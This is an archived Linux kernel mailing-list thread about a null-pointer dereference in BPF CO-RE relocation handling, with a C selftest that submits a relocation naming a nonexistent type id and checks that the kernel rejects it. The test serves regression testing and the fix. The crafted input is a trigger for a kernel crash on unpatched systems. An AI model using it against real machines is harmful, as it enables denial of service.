Hi Liu,
Your analysis is correct, the issue is caused by a missing null
pointer check for 'local_type'.
I was curious why the attached test case does not cause null pointer
exception every time, but then I realized that this is because of the
sequence of BPF commands it issues (each in separate thread):
1. Create BTF, wait for completion;
2. Load BPF program, do not wait for completion;
3. Rewrite memory region passed to load BPF command as bpf_attr to
reuse it for another system call (actual call is map update, but
that does not matter).
From time to time steps (2) and (3) would run concurrently and user
space memory chunk passed to kernel in (2) would be updated to make
relocation data invalid.
I attach a simplified test case, will post a fix to bpf mailing list
shortly.
[-- Attachment #2: core_reloc_raw.c --]
[-- Type: text/x-csrc, Size: 3154 bytes --]
// SPDX-License-Identifier: GPL-2.0
/* Test cases that can't load programs using libbpf and need direct
* BPF syscall access
*/
#include <sys/syscall.h>
#include <bpf/libbpf.h>
#include <bpf/btf.h>
#include "test_progs.h"
#include "test_btf.h"
#include "bpf/libbpf_internal.h"
static char log[16 * 1024];
static void test_bad_local_id()
{
struct test_btf {
struct btf_header hdr;
__u32 types[15];
char strings[128];
} raw_btf = {
.hdr = {
.magic = BTF_MAGIC,
.version = BTF_VERSION,
.hdr_len = sizeof(struct btf_header),
.type_off = 0,
.type_len = sizeof(raw_btf.types),
.str_off = offsetof(struct test_btf, strings) - offsetof(struct test_btf, types),
.str_len = sizeof(raw_btf.strings),
},
.types = {
BTF_PTR_ENC(0), /* [1] void* */
BTF_TYPE_INT_ENC(1, BTF_INT_SIGNED, 0, 32, 4), /* [2] int */
BTF_FUNC_PROTO_ENC(2, 1), /* [3] int (*)(void*) */
BTF_FUNC_PROTO_ARG_ENC(8, 1),
BTF_FUNC_ENC(8, 3) /* [4] FUNC 'foo' type_id=2 */
},
.strings = "\0int\0 0\0foo\0"
};
__u32 log_level = 1 | 2 | 4;
LIBBPF_OPTS(bpf_btf_load_opts, opts,
.log_buf = log,
.log_size = sizeof(log),
.log_level = log_level,
);
struct bpf_insn insns[] = {
BPF_ALU64_IMM(BPF_MOV, BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
struct bpf_func_info funcs[] = {
{
.insn_off = 0,
.type_id = 4,
}
};
struct bpf_core_relo relos[] = {
{
.insn_off = 0, /* patch first instruction (r0 = 0) */
.type_id = 100500, /* !!! this type id does not exist */
.access_str_off = 6, /* offset of "0" */
.kind = BPF_CORE_TYPE_ID_LOCAL,
}
};
union bpf_attr attr = {
.prog_name = "foo",
.prog_type = BPF_TRACE_RAW_TP,
.license = (__u64)"GPL",
.insns = (__u64)&insns,
.insn_cnt = sizeof(insns) / sizeof(*insns),
.log_buf = (__u64)log,
.log_size = sizeof(log),
.log_level = log_level,
.func_info = (__u64)funcs,
.func_info_cnt = sizeof(funcs) / sizeof(*funcs),
.func_info_rec_size = sizeof(*funcs),
.core_relos = (__u64)relos,
.core_relo_cnt = sizeof(relos) / sizeof(*relos),
.core_relo_rec_size = sizeof(*relos),
};
int saved_errno;
int prog_fd = -1;
int btf_fd = -1;
btf_fd = bpf_btf_load(&raw_btf, sizeof(raw_btf), &opts);
saved_errno = errno;
if (btf_fd < 0 || env.verbosity > VERBOSE_NORMAL) {
printf("-------- BTF load log start --------\n");
printf("%s", log);
printf("-------- BTF load log end ----------\n");
}
if (btf_fd < 0) {
PRINT_FAIL("bpf_btf_load() failed, errno=%d\n", saved_errno);
return;
}
memset(log, 0, sizeof(log));
attr.prog_btf_fd = btf_fd;
prog_fd = sys_bpf_prog_load(&attr, sizeof(attr), 1);
saved_errno = errno;
if (prog_fd < 0 || env.verbosity > VERBOSE_NORMAL) {
printf("-------- program load log start --------\n");
printf("%s", log);
printf("-------- program load log end ----------\n");
}
if (prog_fd > 0) {
PRINT_FAIL("sys_bpf_prog_load() expected to fail\n");
goto out;
}
ASSERT_HAS_SUBSTR(log, "relo #0: bad type id 100500", "program load log");
out:
close(prog_fd);
close(btf_fd);
}
void test_core_reloc_raw(void)
{
if (test__start_subtest("bad_local_id"))
test_bad_local_id();
}
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: KASAN: null-ptr-deref in bpf_core_calc_relo_insn
2024-08-21 11:46 ` Eduard Zingerman
@ 2024-08-21 16:04 ` Eduard Zingerman
2024-08-21 16:40 ` Alexei Starovoitov
0 siblings, 1 reply; 6+ messages in thread
From: Eduard Zingerman @ 2024-08-21 16:04 UTC (permalink / raw)
To: Liu RuiTong, stable; +Cc: regressions, bpf, linux-kernel
On Wed, 2024-08-21 at 04:46 -0700, Eduard Zingerman wrote:
[...]
> will post a fix to bpf mailing list shortly.
Status update:
apologies for the delay, the fix is trivial but I have some problems
with test case not printing expected log on BPF CI, need some time to debug.
Link to wip patch:
https://github.com/eddyz87/bpf/tree/relo-core-bad-local-id
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: KASAN: null-ptr-deref in bpf_core_calc_relo_insn
2024-08-21 16:04 ` Eduard Zingerman
@ 2024-08-21 16:40 ` Alexei Starovoitov
2024-08-21 16:42 ` Eduard Zingerman
0 siblings, 1 reply; 6+ messages in thread
From: Alexei Starovoitov @ 2024-08-21 16:40 UTC (permalink / raw)
To: Eduard Zingerman; +Cc: Liu RuiTong, stable, Linux Regressions, bpf, LKML
On Wed, Aug 21, 2024 at 9:34 AM Eduard Zingerman <eddyz87@gmail.com> wrote:
>
> On Wed, 2024-08-21 at 04:46 -0700, Eduard Zingerman wrote:
>
> [...]
>
> > will post a fix to bpf mailing list shortly.
>
> Status update:
> apologies for the delay, the fix is trivial but I have some problems
> with test case not printing expected log on BPF CI, need some time to debug.
>
> Link to wip patch:
> https://github.com/eddyz87/bpf/tree/relo-core-bad-local-id
I would ship the fix (since it's trivial) and sort out selftest later.
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: KASAN: null-ptr-deref in bpf_core_calc_relo_insn
2024-08-21 16:40 ` Alexei Starovoitov
@ 2024-08-21 16:42 ` Eduard Zingerman
0 siblings, 0 replies; 6+ messages in thread
From: Eduard Zingerman @ 2024-08-21 16:42 UTC (permalink / raw)
To: Alexei Starovoitov; +Cc: Liu RuiTong, stable, Linux Regressions, bpf, LKML
On Wed, 2024-08-21 at 09:40 -0700, Alexei Starovoitov wrote:
> On Wed, Aug 21, 2024 at 9:34 AM Eduard Zingerman <eddyz87@gmail.com> wrote:
> >
> > On Wed, 2024-08-21 at 04:46 -0700, Eduard Zingerman wrote:
> >
> > [...]
> >
> > > will post a fix to bpf mailing list shortly.
> >
> > Status update:
> > apologies for the delay, the fix is trivial but I have some problems
> > with test case not printing expected log on BPF CI, need some time to debug.
> >
> > Link to wip patch:
> > https://github.com/eddyz87/bpf/tree/relo-core-bad-local-id
>
> I would ship the fix (since it's trivial) and sort out selftest later.
Makes sense, will submit the fix.
^ permalink raw reply [flat|nested] 6+ messages in thread
end of thread, other threads:[~2024-08-21 16:42 UTC | newest]
Thread overview: 6+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2024-08-20 9:21 KASAN: null-ptr-deref in bpf_core_calc_relo_insn Liu RuiTong
2024-08-21 1:33 ` Eduard Zingerman
2024-08-21 11:46 ` Eduard Zingerman
2024-08-21 16:04 ` Eduard Zingerman
2024-08-21 16:40 ` Alexei Starovoitov
2024-08-21 16:42 ` Eduard Zingerman
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox